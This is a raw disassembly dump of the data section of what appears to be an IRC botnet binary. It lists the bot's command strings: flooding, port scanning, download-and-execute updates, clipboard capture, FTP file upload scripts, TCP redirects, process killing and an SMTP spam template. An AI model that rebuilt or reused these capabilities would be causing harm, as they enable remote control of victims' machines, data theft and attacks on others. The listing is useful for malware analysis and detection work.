		align 4
dword_42D6F4	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+45DEo
		dd 63655220h, 656E6E6Fh, 6E697463h, 2E67h, 2 dup(0)
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4087B3:loc_40CD84o
		align 4
		dd 0
dword_42D73C	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+45BCo
		dd 73694420h, 6E6E6F63h, 69746365h, 2E676Eh, 2 dup(0)
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4087B3:loc_40CD62o
		align 10h
		dd 0
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+4587o
		align 10h
		dd 0
unk_42D794	db    2			; DATA XREF: sub_4087B3+453Bo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aStatusReady_Bo	db '   Status: Ready. Bot Uptime: %s.',0
		dd 3 dup(0)
dword_42D7D4	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+44FDo
		dd 746F4220h, 3A444920h, 2E732520h, 2 dup(0)
unk_42D7FC	db    2			; DATA XREF: sub_4087B3+44CCo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	74h, 68h
		db  72h	; r
		db 65h,	61h, 64h
		db  1Fh
		db 73h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aFailedToStartL	db '   Failed to start list thread, error: <%d>.',0
		align 10h
		dd 3 dup(0)
dword_42D84C	dd 20025B02h, 6874202Dh, 64616572h, 201F731Fh, 5D02202Dh
					; DATA XREF: sub_4087B3+4461o
		dd 20BB2002h, 73694C20h, 68742074h, 64616572h, 2E73h, 2	dup(0)
dword_42D87C	dd 627573h		; DATA XREF: sub_4087B3+443Bo
dword_42D880	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+43E9o
		dd 696C4120h, 6C207361h, 2E747369h, 2 dup(0)
unk_42D8A8	db    2			; DATA XREF: sub_4087B3+43CEo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	6Ch, 6Fh
		db  1Fh
		db 67h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aFailedToStar_5	db '   Failed to start listing thread, error: <%d>.',0
		align 4
		dd 3 dup(0)
dword_42D8F8	dd 20025B02h, 6F6C202Dh, 201F671Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+4341o
		dd 73694C20h, 676E6974h, 676F6C20h, 2Eh, 0
dword_42D920	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+42BDo
		dd 74654E20h, 6B726F77h, 666E4920h, 2E6Fh, 2 dup(0)
dword_42D94C	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+428Eo
		dd 73795320h, 206D6574h, 6F666E49h, 2Eh, 0
dword_42D974	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+4239o
		dd 6D655220h, 6E69766Fh, 6F422067h, 2E74h, 2 dup(0)
unk_42D9A0	db    2			; DATA XREF: sub_4087B3+4226o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	70h, 72h
		db  6Fh	; o
		db 63h,	1Fh, 73h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFailedToStar_6	db '  Failed to start listing thread, error: <%d>.',0
		dd 4 dup(0)
dword_42D9F4	dd 20025B02h, 7270202Dh, 731F636Fh, 202D201Fh, 20025D02h
					; DATA XREF: sub_4087B3+41B7o
		dd 502020BBh, 63636F72h, 20737365h, 7473696Ch, 2Eh, 2 dup(0)
aFull		db 'full',0             ; DATA XREF: sub_4087B3+4197o
		align 4
unk_42DA2C	db    2			; DATA XREF: sub_4087B3+4135o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	70h, 72h
		db  6Fh	; o
		db 63h,	1Fh, 73h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aAlreadyRunning	db '  Already running.',0
		dd 2 dup(0)
dword_42DA5C	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+40E4o
		dd 74705520h, 3A656D69h, 2E732520h, 2 dup(0)
dword_42DA84	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+4055o
		dd 74654720h, 696C4320h, 616F6270h, 2E6472h, 2 dup(0)
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_4087B3+4027o
		align 8
dword_42DAC8	dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h
					; DATA XREF: sub_4087B3:loc_40C7CAo
		dd 0BB20025Dh
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 10h
		dd 2 dup(0)
dword_42DB08	dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h
					; DATA XREF: sub_4087B3+3FFCo
		dd 0BB20025Dh
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 10h
dword_42DB40	dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h
					; DATA XREF: sub_4087B3:loc_40C79Fo
		dd 0BB20025Dh
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 10h
dword_42DB80	dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h
					; DATA XREF: sub_4087B3:loc_40C798o
		dd 0BB20025Dh
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
dword_42DBC0	dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h
					; DATA XREF: sub_4087B3+3FDEo
		dd 0BB20025Dh
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 10h
		dd 2 dup(0)
unk_42DBF8	db    2			; DATA XREF: sub_4087B3+3F5Bo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	68h, 74h
		db  74h	; t
		db 70h,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFailedToStar_7	db '   Failed to start server thread, error: <%d>.',0
		dd 4 dup(0)
unk_42DC4C	db    2			; DATA XREF: sub_4087B3+3EF0o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	68h, 74h
		db  74h	; t
		db 70h,	1Fh, 64h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aServerListen_0	db '  Server listening on IP: %s:%d, Directory: %s\.',0
		align 10h
dword_42DCA0	dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+3DE9o
aFailedToStar_8	db '  Failed to start server thread, error: <%d>.',0
		align 10h
dword_42DCF0	dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+3D7Ao
aServerStarte_1	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
		dd 3 dup(0)
dword_42DD48	dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+3CC1o
aAlreadyRunni_0	db '  Already running.',0
		align 10h
		dd 2 dup(0)
dword_42DD78	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3:loc_40C450o
aFailedToStar_9	db '  Failed to start scan, port is invalid.',0
		align 4
		dd 3 dup(0)
unk_42DDC4	db    2			; DATA XREF: sub_4087B3+3996o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aNickChangedToS	db '   Nick changed to: ',27h,'%s',27h,'.',0
		dd 2 dup(0)
unk_42DDF8	db    2			; DATA XREF: sub_4087B3+3979o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aJoinedChannelS	db '   Joined channel: ',27h,'%s',27h,'.',0
		align 4
		dd 2 dup(0)
unk_42DE2C	db    2			; DATA XREF: sub_4087B3+3958o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aPartedChannelS	db '   Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_42DE60	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+393Eo
		dd 43524920h, 77615220h, 7325203Ah, 2Eh, 0
unk_42DE88	db    2			; DATA XREF: sub_4087B3:loc_40C071o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	74h, 68h
		db  72h	; r
		db 65h,	61h, 64h
		db  1Fh
		db 73h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aFailedToKillTh	db '   Failed to kill thread: %s.',0
		dd 3 dup(0)
unk_42DEC8	db    2			; DATA XREF: sub_4087B3+38B7o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	74h, 68h
		db  72h	; r
		db 65h,	61h, 64h
		db  1Fh
		db 73h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aKilledThreadS_	db '   Killed thread: %s.',0
		dd 2 dup(0)
unk_42DEFC	db    2			; DATA XREF: sub_4087B3:loc_40C024o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	74h, 68h
		db  72h	; r
		db 65h,	61h, 64h
		db  1Fh
		db 73h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aNoActiveThread	db '   No active threads found.',0
		align 10h
		dd 2 dup(0)
unk_42DF38	db    2			; DATA XREF: sub_4087B3+3867o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	74h, 68h
		db  72h	; r
		db 65h,	61h, 64h
		db  1Fh
		db 73h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aStoppedDThread	db '   Stopped: %d thread(s).',0
		dd 3 dup(0)
dword_42DF74	dd 6C6C61h		; DATA XREF: sub_4087B3+384Do
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4087B3+37C4o
					; sub_4087B3:loc_40CD4Co
		align 4
unk_42DF88	db    2			; DATA XREF: sub_4087B3+3748o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aPrefixChangedT	db '   Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_42DFC0	db    2			; DATA XREF: sub_4087B3:loc_40BEE2o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 68h
		db  65h	; e
		db 6Ch,	1Fh, 6Ch
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aCouldnTOpenF_0	db '  Couldn',27h,'t open file: %s',0
		align 10h
		dd 2 dup(0)
unk_42DFF8	db    2			; DATA XREF: sub_4087B3+3725o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 68h
		db  65h	; e
		db 6Ch,	1Fh, 6Ch
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFileOpenedS	db '  File opened: %s',0
		align 10h
		dd 2 dup(0)
unk_42E028	db    2			; DATA XREF: sub_4087B3+36F8o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aServerChangedT	db '   Server changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_42E060	dd 20025B02h, 6E64202Dh, 1F731F6Ch, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3:loc_40BE7Do
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
		dd 2 dup(0)
dword_42E09C	dd 20025B02h, 6E64202Dh, 1F731F6Ch, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+369Co
aLookupSS_	db '  Lookup: %s -> %s.',0
		dd 2 dup(0)
unk_42E0CC	db    2			; DATA XREF: sub_4087B3:loc_40BE18o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	70h, 72h
		db  6Fh	; o
		db 63h,	1Fh, 73h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 10h
unk_42E110	db    2			; DATA XREF: sub_4087B3+365Bo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	70h, 72h
		db  6Fh	; o
		db 63h,	1Fh, 73h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aProcessKilledS	db '  Process killed: %s',0
		align 4
		dd 2 dup(0)
unk_42E144	db    2			; DATA XREF: sub_4087B3:loc_40BDB4o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	70h, 72h
		db  6Fh	; o
		db 63h,	1Fh, 73h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 10h
		dd 3 dup(0)
unk_42E18C	db    2			; DATA XREF: sub_4087B3+35FAo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	70h, 72h
		db  6Fh	; o
		db 63h,	1Fh, 73h
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aProcessKilledI	db '  Process killed ID: %s',0
		align 4
		dd 2 dup(0)
dword_42E1C4	dd 20025B02h, 6966202Dh, 1F651F6Ch, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+35B5o
		dd 65442020h, 6574656Ch, 25272064h, 2E2773h, 2 dup(0)
unk_42E1F0	db    2			; DATA XREF: sub_4087B3+359Bo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	76h, 69h
		db  73h	; s
		db 69h,	6Ch, 1Fh
		db  74h	; t
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToStartC	db '   Failed to start connection thread, error: <%d>.',0
		dd 4 dup(0)
dword_42E248	dd 20025B02h, 6976202Dh, 1F6C6973h, 2D201F74h, 25D0220h
					; DATA XREF: sub_4087B3+352Co
		dd 2020BB20h, 3A4C5255h, 2E732520h, 2 dup(0)
dword_42E270	dd 20025B02h, 696D202Dh, 1F631F72h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3:loc_40BC6Co
		dd 6F432020h, 6E616D6Dh, 65732064h, 2E746Eh, 2 dup(0)
dword_42E29C	dd 20025B02h, 696D202Dh, 1F631F72h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+34AFo
aClientNotOpen_	db '  Client not open.',0
		align 4
		dd 2 dup(0)
unk_42E2CC	db    2			; DATA XREF: sub_4087B3+347Co
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aReadFileFailed	db '   Read file failed: %s',0
		align 10h
unk_42E300	db    2			; DATA XREF: sub_4087B3+3466o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aReadFileComple	db '   Read file complete: %s',0
		dd 2 dup(0)
dword_42E334	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+33E3o
		dd 74654720h, 74736F68h, 7325203Ah, 2Eh, 0
unk_42E35C	db    2			; DATA XREF: sub_4087B3+33A0o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aUnableToExtrac	db '   Unable to extract Gethost command.',0
		align 10h
unk_42E3A0	db    2			; DATA XREF: sub_4087B3+3384o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aGethostSComman	db '   Gethost: %s, Command: %s',0
		align 10h
		dd 2 dup(0)
unk_42E3D8	db    2			; DATA XREF: sub_4087B3+32FAo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aAliasAddedS_	db '   Alias added: %s.',0
		align 10h
		dd 2 dup(0)
unk_42E408	db    2			; DATA XREF: sub_4087B3+32B8o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aPrivmsgSS_	db '   Privmsg: %s: %s.',0
		align 10h
		dd 2 dup(0)
unk_42E438	db    2			; DATA XREF: sub_4087B3+325Eo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aActionSS_	db '   Action: %s: %s.',0
		align 10h
		dd 0
dword_42E464	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+31EFo
		dd 63794320h, 2E656Ch, 2 dup(0)
aPartS_0	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_4087B3+31B3o
					; sub_4087B3+3948o
		align 4
unk_42E494	db    2			; DATA XREF: sub_4087B3+318Co
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aModeChangeS	db '   Mode change: %s',0
		align 10h
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_4087B3+317Eo
		align 4
dword_42E4CC	dd 20025B02h, 6C63202Dh, 1F656E6Fh, 2D201F73h, 25D0220h
					; DATA XREF: sub_4087B3+3153o
		dd 2020BB20h, 20776152h, 29732528h, 7325203Ah, 2 dup(0)
dword_42E4F8	dd 20025B02h, 6C63202Dh, 1F656E6Fh, 2D201F73h, 25D0220h
					; DATA XREF: sub_4087B3+30E5o
		dd 2020BB20h, 65646F4Dh, 73252820h, 25203A29h, 73h, 2 dup(0)
aModeS		db 'MODE %s',0          ; DATA XREF: sub_4087B3+308Do
		dd 0
dword_42E534	dd 20025B02h, 6C63202Dh, 1F656E6Fh, 2D201F73h, 25D0220h
					; DATA XREF: sub_4087B3+305Bo
		dd 2020BB20h, 6B63694Eh, 73252820h, 25203A29h, 73h, 2 dup(0)
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_4087B3+3002o
					; sub_4087B3+378Bo
		align 10h
aJoinSS_0	db 'JOIN %s %s',0       ; DATA XREF: sub_4087B3+2FE1o
		align 10h
aPartS		db 'PART %s',0          ; DATA XREF: sub_4087B3+2F74o
		dd 0
unk_42E58C	db    2			; DATA XREF: sub_4087B3:loc_40B714o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	69h, 72h
		db  1Fh
		db 62h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aRepeatNotAllow	db '   Repeat not allowed in command line: %s',0
		dd 3 dup(0)
dword_42E5D4	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3+2F26o
		dd 70655220h, 3A746165h, 732520h, 2 dup(0)
dword_42E5FC	dd 20025B02h, 7269202Dh, 201F621Fh, 5D02202Dh, 20BB2002h
					; DATA XREF: sub_4087B3:loc_40B642o
		dd 6C654420h, 2E7961h, 2 dup(0)
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_4087B3+2E4Bo
					; sub_4087B3+2F00o ...
		align 10h
unk_42E630	db    2			; DATA XREF: sub_4087B3+2DD0o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	75h, 70h
		db  67h	; g
		db 72h,	61h, 64h
		db  1Fh
		db 65h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aBotIdMustBeDif	db '   Bot ID must be different than current running process.',0
		dd 4 dup(0)
unk_42E690	db    2			; DATA XREF: sub_4087B3+2DBAo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	75h, 70h
		db  67h	; g
		db 72h,	61h, 64h
		db  1Fh
		db 65h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aFailedToStartD	db '   Failed to start download thread, error: <%d>.',0
		align 4
		dd 4 dup(0)
unk_42E6E8	db    2			; DATA XREF: sub_4087B3+2D49o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	75h, 70h
		db  67h	; g
		db 72h,	61h, 64h
		db  1Fh
		db 65h,	1Fh, 20h
		db  2Dh	; -
		db 20h,	2, 5Dh
		db    2
aDownloadingUpd	db '   Downloading update from: %s.',0
		align 10h
		dd 2 dup(0)
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_4087B3+2CA4o
		align 4
dword_42E734	dd 20025B02h, 7865202Dh, 1F631F65h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+2C40o
		dd 6F432020h, 6E616D6Dh, 203A7364h, 7325h, 2 dup(0)
dword_42E760	dd 20025B02h, 7865202Dh, 1F631F65h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+2C35o
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
		dd 2 dup(0)
dword_42E798	dd 20025B02h, 6966202Dh, 1F651F6Ch, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3:loc_40B311o
					; sub_4087B3:loc_40BD6Fo
		dd 20h,	0
dword_42E7B4	dd 20025B02h, 6966202Dh, 1F651F6Ch, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+2B49o
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
		dd 2 dup(0)
unk_42E7EC	db    2			; DATA XREF: sub_4087B3+2B23o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	63h, 6Ch
		db  6Fh	; o
		db 6Eh,	65h, 1Fh
		db  73h	; s
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToSta_10	db '   Failed to start clone thread, error: <%d>.',0
		align 10h
		dd 3 dup(0)
unk_42E83C	db    2			; DATA XREF: sub_4087B3+2AB4o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	63h, 6Ch
		db  6Fh	; o
		db 6Eh,	65h, 1Fh
		db  73h	; s
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aCreatedOnSDInC	db '   Created on %s:%d, in channel %s.',0
		align 10h
dword_42E880	dd 20025B02h, 7973202Dh, 1F6E1F6Ch, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+2A23o
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42E8D0	dd 20025B02h, 7973202Dh, 1F6E1F6Ch, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+29AFo
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		dd 3 dup(0)
dword_42E914	dd 20025B02h, 6F64202Dh, 6F6C6E77h, 1F641F61h, 2202D20h
					; DATA XREF: sub_4087B3+2935o
		dd 0BB20025Dh
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		dd 4 dup(0)
dword_42E96C	dd 20025B02h, 6F64202Dh, 6F6C6E77h, 1F641F61h, 2202D20h
					; DATA XREF: sub_4087B3+28C6o
		dd 0BB20025Dh
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
		dd 2 dup(0)
dword_42E9AC	dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h
					; DATA XREF: sub_4087B3+27F3o
		dd 0BB20025Dh
aFailedToSta_11	db '  Failed to start redirection thread, error: <%d>.',0
		align 4
		dd 4 dup(0)
dword_42EA08	dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h
					; DATA XREF: sub_4087B3+2784o
		dd 0BB20025Dh
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 10h
		dd 3 dup(0)
dword_42EA5C	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+2688o
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
		align 10h
		dd 3 dup(0)
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_4087B3+2602o
		align 4
aSSS		db '[%s] * %s %s',0     ; DATA XREF: sub_4087B3+2503o
		align 4
dword_42EACC	dd 54434101h, 204E4F49h, 17325h, 0 ; DATA XREF:	sub_4087B3+2472o
					; sub_4087B3+323Bo
dword_42EADC	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+2411o
					; sub_4087B3+26F7o ...
aFailedToSta_12	db '  Failed to start scan thread, error: <%d>.',0
		dd 3 dup(0)
dword_42EB28	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+23A2o
					; sub_4087B3+3BDEo
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		dd 6 dup(0)
aSequential	db 'Sequential',0       ; DATA XREF: sub_4087B3+2377o
					; sub_4087B3+3BB3o
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_4087B3+2370o
					; sub_4087B3+3BACo
		align 4
dword_42EBC8	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+222Fo
aFailedToSta_13	db '  Failed to start scan, no IP specified.',0
		align 4
		dd 3 dup(0)
dword_42EC14	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+20EBo
					; sub_4087B3+39F7o
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
		dd 4 dup(0)
dword_42EC6C	dd 20025B02h, 7466202Dh, 1F641F70h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3:loc_40A81Ao
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
		align 10h
dword_42ECB0	dd 20025B02h, 7466202Dh, 1F641F70h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+2060o
aUploadingFil_0	db '  Uploading file: %s to: %s',0
		dd 3 dup(0)
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_4087B3+2047o
		align 8
aSS_4		db '-s:%s',0            ; DATA XREF: sub_4087B3+2030o
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_4087B3+2012o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aAb		db 'ab',0               ; DATA XREF: sub_4087B3+1FEDo
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_4087B3+1FDCo
		align 10h
dword_42ED40	dd 20025B02h, 7466202Dh, 1F641F70h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4087B3+1F66o
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
		dd 2 dup(0)
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_4087B3+1F43o
		align 10h
		dd 0
unk_42ED84	db    2			; DATA XREF: sub_4087B3+1EF5o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	65h, 6Dh
		db  61h	; a
		db 69h,	1Fh, 6Ch
		db  1Fh
		db 20h,	2Dh, 20h
		db    2
		db 5Dh,	2, 20h
aMessageSentToS	db '  Message sent to %s.',0
		align 10h
		dd 2 dup(0)
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_4087B3+1E81o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
		dd 4 dup(0)
a_:					; DATA XREF: sub_4087B3+1DE2o
		unicode	0, <_>,0
aEmail		db 'email',0            ; DATA XREF: sub_4087B3+1D91o
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_4087B3+1D7Co
